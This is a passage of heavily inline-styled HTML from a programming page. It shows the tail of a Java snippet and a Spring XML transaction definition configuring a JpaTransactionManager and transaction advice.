border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Exception</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> e</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">){}</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span></code></span></pre>
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;">
</span></div>
<div>
Below is the spring transaction defintion:</div>
<div>
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"></span><br />
<pre class="lang-java prettyprint" style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; vertical-align: baseline; width: auto;"><span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"><code style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">bean id</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"transactionManager"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">class</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"org.springframework.orm.jpa.JpaTransactionManager"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"entityManagerFactory"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> ref</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"entityManagerFactory"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"dataSource"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> ref</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"dataSource"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">bean</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">tx</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">advice id</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"defaultTxAdvice"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> transaction</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">-</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">manager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"transactionManager"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">tx</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">attributes</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">tx</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: 